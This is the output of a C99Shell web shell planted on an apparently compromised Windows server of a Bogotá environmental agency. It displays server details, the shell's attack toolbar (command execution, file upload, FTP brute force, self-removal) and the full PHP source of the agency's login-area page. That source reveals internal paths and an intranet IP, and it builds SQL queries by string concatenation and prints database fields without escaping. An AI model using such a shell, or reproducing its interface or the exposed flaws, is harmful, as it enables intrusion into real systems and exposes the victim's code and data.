!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\login\   drwxrwxrwx
Free 7.97 GB of 239.26 GB (3.33%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edicion_informacion_local.php (17.29 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

//prevents caching
header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
session_cache_limiter();
session_start();

require(
'config.php');

require(
'functions.php');

//this is group name or username of the group or person that you wish to allow access to
// - please be advise that the Administrators Groups has access to all pages.
if (allow_access(gestores) != "yes")
{
include (
'no_access.php');
exit;
}
?>


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd">
<HTML>
<HEAD>
<TITLE>Secretaría Distrital de Ambiente</TITLE>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-1458662-7";
urchinTracker();
</script>
<script language="JavaScript">
function echeck(str) {

        var at="@"
        var dot="."
        var lat=str.indexOf(at)
        var lstr=str.length
        var ldot=str.indexOf(dot)
        if (str.indexOf(at)==-1){
           alert("El email no es valido")
           return false
        }

        if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
           alert("El email no es valido")
           return false
        }

        if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
            alert("El email no es valido")
            return false
        }

         if (str.indexOf(at,(lat+1))!=-1){
            alert("El email no es valido")
            return false
         }

         if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
            alert("El email no es valido")
            return false
         }

         if (str.indexOf(dot,(lat+2))==-1){
            alert("El email no es valido")
            return false
         }
        
         if (str.indexOf(" ")!=-1){
            alert("El email no es valido")
            return false
         }

          return true                    
    }

function validar(){

if(document.registro.identi.value==""){
alert("Por favor ingrese la identificación NIT o cédula");
document.registro.identi.focus();
document.registro.identi.style.backgroundColor="yellow";
return false;
}

if(document.registro.acronimo.value==""){
alert("Por favor ingrese el acrónimo de la organizacion");
document.registro.acronimo.focus();
document.registro.acronimo.style.backgroundColor="yellow";
return false;
}
if(document.registro.nombre.value==""){
alert("Por favor ingrese el nombre de la organizacion");
document.registro.nombre.focus();
document.registro.nombre.style.backgroundColor="yellow";
return false;
}
if(document.registro.direccion.value==""){
alert("Por favor ingrese su direccion");
document.registro.direccion.focus();
document.registro.direccion.style.backgroundColor="yellow";
return false;
}

if(document.registro.localidad.value==0)

alert("Seleccione una localidad");
document.registro.localidad.focus();
return false;
 }

if(document.registro.territorio.value==""){
alert("Por favor ingrese el territorio");
document.registro.territorio.focus();
document.registro.territorio.style.backgroundColor="yellow";
return false;
}


if(document.registro.telefono.value==""){
alert("Por favor ingrese su numero telefonico");
document.registro.telefono.focus();
document.registro.telefono.style.backgroundColor="yellow";
return false;
}

if (isNaN(parseInt(document.registro.telefono.value))) {
   alert("Ingrese solo numeros en este campo");
document.registro.telefono.focus();
document.registro.telefono.style.backgroundColor="yellow";
return false;
}


var emailID=document.registro.email
    
    if ((emailID.value==null)||(emailID.value=="")){
        alert("Ingrese el email de la organizacion")
        emailID.focus()
        return false
    }
    if (echeck(emailID.value)==false){
        emailID.value=""
        emailID.focus()
        return false
    }



if(document.registro.aniocreacion.value==""){
alert("Por favor ingrese su email");
document.registro.email.focus();
document.registro.email.style.backgroundColor="yellow";
return false;
}
if (isNaN(parseInt(document.registro.aniocreacion.value))) {
   alert("Ingrese solo numeros en este campo");
document.registro.aniocreacion.focus();
document.registro.aniocreacion.style.backgroundColor="yellow";
return false;
}

if(document.registro.nombre1.value==""){
alert("Por favor ingrese su nombre");
document.registro.nombre1.focus();
document.registro.nombre1.style.backgroundColor="yellow";
return false;
}

if(document.registro.apellido.value==""){
alert("Por favor ingrese su apellido");
document.registro.apellido.focus();
document.registro.apellido.style.backgroundColor="yellow";
return false;
}

if(document.registro.funcion.value==""){
alert("Por favor ingrese su funcion");
document.registro.funcion.focus();
document.registro.funcion.style.backgroundColor="yellow";
return false;
}
if(document.registro.email2.value==""){
alert("Por favor ingrese su email");
document.registro.email2.focus();
document.registro.email2.style.backgroundColor="yellow";
return false;
}



var emailID2=document.registro.email2
    
    if ((emailID2.value==null)||(emailID2.value=="")){
        alert("Ingrese el email de la organizacion")
        emailID2.focus()
        return false
    }
    if (echeck(emailID2.value)==false){
        emailID2.value=""
        emailID2.focus()
        return false
    }











if(document.registro.cargo.value==""){
alert("Por favor ingrese su cargo");
document.registro.cargo.focus();
document.registro.cargo.style.backgroundColor="yellow";
return false;
}

if(document.registro.organizacion.value==0)

alert("Seleccione una organizacion");
document.registro.organizacion.focus();
return false;
 }

if(document.registro.territorios.value==0)

alert("Seleccione un tipo de territorio");
document.registro.territorios.focus();
return false;
 }
if(document.registro.localidad1.value==0)

alert("Seleccione una localidad");
document.registro.localidad1.focus();
return false;
 }

if ( ( document.registro.temas[0].checked == false )&& ( document.registro.temas[1].checked == false  )&& ( document.registro.temas[2].checked == false  )&& ( document.registro.temas[3].checked == false  )&& ( document.registro.temas[4].checked == false  )&& ( document.registro.temas[5].checked == false  )&& ( document.registro.temas[6].checked == false  )&& ( document.registro.temas[7].checked == false  ))
    {
        alert ( "Seleccione los temas de trabajo" );
        document.registro.temas[0].focus();
        return false;
    
    }

if ( ( document.registro.actividades[0].checked == false )&& ( document.registro.actividades[1].checked == false  )&& ( document.registro.actividades[2].checked == false  )&& ( document.registro.actividades[3].checked == false  )&& ( document.registro.actividades[4].checked == false  )&& ( document.registro.actividades[5].checked == false  )&& ( document.registro.actividades[6].checked == false  )&& ( document.registro.actividades[7].checked == false  )&& ( document.registro.actividades[8].checked == false  )&& ( document.registro.actividades[9].checked == false  ))
    {
        alert ( "Seleccione las actividades" );
        document.registro.actividades[0].focus();
        return false;
    
    }

if ( ( document.registro.financiamientos[0].checked == false )&& ( document.registro.financiamientos[1].checked == false  )&& ( document.registro.financiamientos[2].checked == false  )&& ( document.registro.financiamientos[3].checked == false  )&& ( document.registro.financiamientos[4].checked == false  )&& ( document.registro.financiamientos[5].checked == false  )&& ( document.registro.financiamientos[6].checked == false  )&& ( document.registro.financiamientos[7].checked == false  )&& ( document.registro.financiamientos[8].checked == false  ))
    {
        alert ( "Seleccione los esquemas de financiamiento" );
        document.registro.financiamientos[0].focus();
        return false;
    
    }

if ( ( document.registro.material[0].checked == false )&& ( document.registro.material[1].checked == false  )&& ( document.registro.material[2].checked == false  )&& ( document.registro.material[3].checked == false  )&& ( document.registro.material[4].checked == false  )&& ( document.registro.material[5].checked == false  )&& ( document.registro.material[6].checked == false  )&& ( document.registro.material[7].checked == false  )&& ( document.registro.material[8].checked == false  )&& ( document.registro.material[9].checked == false  ))
    {
        alert ( "Seleccione los tipos de materiales producidos" );
        document.registro.material[0].focus();
        return false;
    
    }

if(document.registro.mision.value==""){
alert("Por favor ingrese la mision de la organizacion");
document.registro.mision.focus();
document.registro.mision.style.backgroundColor="yellow";
return false;
}

if(document.registro.vision.value==""){
alert("Por favor ingrese la vision de la organizacion");
document.registro.vision.focus();
document.registro.vision.style.backgroundColor="yellow";
return false;
}

        if  ( document.registro.verif_box.value == "" )
    {
        alert ( "Ingrese el codigo de verificacion" );
        document.registro.verif_box.focus();
        document.registro.verif_box.style.backgroundColor="yellow";
    return false;
    
    }

}

</script>


<style type="text/css">
body{ margin:0px; background-color:#EFEEEA;}
a{ text-decoration:none}
a:hover{ text-decoration:underline}
fieldset { -moz-border-radius: 8px; border-radius: px;  }
.fuente{ font-family:verdana, Helvetica, sans-serif; font-size:11px; color:#666666; font-weight:normal; padding:4px}
.blanco {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 12px;
    font-weight: bolder;
    color: #FFFFFF;
    background-color: #999999;
}
a{ color:#006699;}
a.fuentewhite{
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 11px;
        color: #FFFFFF; text-decoration:none; padding-left:5px; padding-right:5px;
}
a.fuentewhite:hover{
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 11px;
        color: #FFFFcc; text-decoration:underline; padding-left:5px
}
#caja {font-family: verdana, arial; font-size:11px; border:1px solid #999999}
.amarillo{background-image:url(/sda/libreria/jpg/new/yell.jpg); background-repeat:repeat-x}
.style1 {color: #FFFFFF}
.negra1{font-family: verdana, arial; font-size:11px}
fieldset{border: 1px solid  #ccc;}
-->
</style>
<link rel="stylesheet" type="text/css" href="/sda/libreria/css/tabcontent.css" />
</HEAD>
<BODY>
<table border="0" cellpadding="0" cellspacing="0" align="center" width="928"><tr><td style="background-image:url(/sda/libreria/jpg/new/fondoleft.jpg); background-repeat:repeat-y" width="14"></td>
<td><TABLE width="900" border=0 align="center" cellPadding=0 cellSpacing=0>
        <TBODY>
             <TR>
            <TD bgColor=#7DB5C6 style="background-image:url(/sda/libreria/jpg/top08.jpg); background-repeat:no-repeat;" width="900" height="90" valign="bottom"><div align="right"><A href="/" class="fuentewhite">Inicio</A> 
                | <A href="/sda/libreria/php/decide.php?patron=00.01" class="fuentewhite">Mapa 
                del Sitio</A> | <A href="http://192.168.10.3/php/reqintranet.php" class="fuentewhite">Intranet 
                SDA</A></div></TD>
          </TR>
          <TR>
            <TD align=left vAlign=top bgColor=#000000><TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
                <TBODY>
                  <TR> 
                    <TD width="73%" bgColor=#669966 background="/sda/libreria/jpg/new/bg2.gif"><img src="/sda/libreria/gif/bar2.gif" width="518" height="30" border="0" usemap="#Map"></TD>
                    <form name="form1" method="post" action="/sda/libreria/php/frame_buscar.php">
                      <TD width="27%" bgColor=#669966  background="/sda/libreria/jpg/new/bg2.gif"> 
                        <input name="buscar" type="text" size="20" id="caja"> 
                        <input type="submit" name="Submit" value="Buscar" style="font-size:10px"> 
                        <input name="accion" type="hidden" id="accion" value="1"></TD>
                    </form>
                  </TR>
                  <TR>
                    <TD colspan="2" bgColor=#FFFFFF><table width="900" border="0" cellpadding="0" cellspacing="0">
                        <tr> 
                          <td width="195" valign="top" bgcolor="#F7F7F7">
                            <?php include("../sda/libreria/php/leftmenu2.php"); ?>
                          </td>
                          <td width="705" valign="top"><table width="100%" border="0" align="center" cellpadding="3" cellspacing="0" class="fuente" style="padding:3px;">
                              <tr> 
                                <td height="45" align="left" valign="top"> <fieldset>
                                  <legend><font color="#990000"><strong><font size="2" face="Geneva, Arial">Oficina 
                                  de participaci&oacute;n</font></strong></font></legend>
                                  <br>
                                  <table width="100%" border="0" cellspacing="0" cellpadding="5">
                                    <tr> 
                                      <td width="39%"><font size="2" face="Arial, Verdana"><strong><img src="images/ico.jpg" width="30" height="54" hspace="6" align="left"><font color="#990000">Bienvenido 
                                        </font></strong><font color="#990000"><?php echo $_SESSION[user_name]; ?> 
                                        </font><br>
                                        Grupo Gestores<br>
                                        &Uacute;ltimo acceso : <?php echo $_SESSION[last_login]; ?> 
                                        </font></td>
                                      <td width="61%" align="right"><font size="2" face="Arial, Verdana"><a href="registro_oferta.php">Registro 
                                        de Oferta</a> | <a href="registro_informacion_local.php">Registro 
                                        informaci&oacute;n local</a> | <a href="logout.php"> 
                                        Cerrar sesi&oacute;n</a> </font></td>
                                    </tr>
                                  </table>
                                  <br>
                                  <br>
                                  <font color="#006699" size="4"><strong>Informaci&oacute;n 
                                  Local registrada</strong></font><br>
                               
                                  <div style="padding:4px;"><br>
                                    <table width="100%" border="0" cellpadding="5" cellspacing="0">
                                      <tr> 
                                        <td><font color="#990000" size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Nombre 
                                          de la situaci&oacute;n</strong></font></td>
                                        <td><font color="#990000" size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Descripci&oacute;n</strong></font></td>
                                        <td><font color="#990000" size="2" face="Verdana, Arial, Helvetica, sans-serif"><strong>Editar</strong></font></td>
                                      </tr>
                                      <?
require_once('conn/conexion.php'); 
//$sql ="SELECT * FROM informacion_local WHERE id_gestor = ".$_SESSION[user_name];
$sql ="SELECT * FROM informacion_local WHERE id_gestor = ".$_SESSION[id];
$result = @mysql_query($sql,$link) or die(mysql_error());


while($row = mysql_fetch_array($result, MYSQL_ASSOC))
{
    echo "<tr><td>{$row['situacion']}</td><td>" .
         "{$row['descripcion']}</td><td><a href=\"editar.php?id={$row['id']}&gestor={$row['id_gestor']}\">Editar</a></td></tr>";
         //"Message : {$row['tipo']} <br><br>";


?>
</table></div></fieldset></td></tr></table></td></tr>
<tr><td height="80" colspan="2" align="center" valign="middle" class="amarillo"><font size="1"><font face="Verdana, Arial"><strong>Secretar&iacute;a 
Distrital de Ambiente</strong></font></span><font face="Verdana, Arial"><br>
                            Cra. 6 No. 14 - 98 Pisos 2, 5, 6, 7 y 12 Torre A y 
                            piso 3 y 4 Torre B, Edificio Condominio Parque Santander 
                            - Conmutador: 4441030 <br>
                            Bogot&aacute; - Colombia<br>
                            <a href="mailto:webmaster@secretariadeambiente.gov.co">webmaster@secretariadeambiente.gov.co</a></font></font></td>
                        </tr>
                      </table></TD>
                  </TR>
                </TBODY>
              </TABLE></TD>
          </TR>
        </TBODY>      </TABLE></td><td style="background-image:url(/sda/libreria/jpg/new/rightShadow.jpg); background-repeat:repeat-y" width="14"></td></tr></table>
<map name="Map">  <area shape="rect" coords="6,8,77,19" href="/sda/libreria/php/decide.php?patron=01." alt="Secretar&iacute;a de Ambiente">
  <area shape="rect" coords="266,6,408,20" href="/sda/libreria/php/decide.php?patron=02." alt="Servicios al Ciudadano">
  <area shape="rect" coords="98,6,240,21" href="/sda/libreria/php/decide.php?patron=03.">
  <area shape="rect" coords="433,7,514,20" href="/sda/libreria/php/decide.php?patron=05." alt="En l&iacute;nea">
</map></BODY></HTML>


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--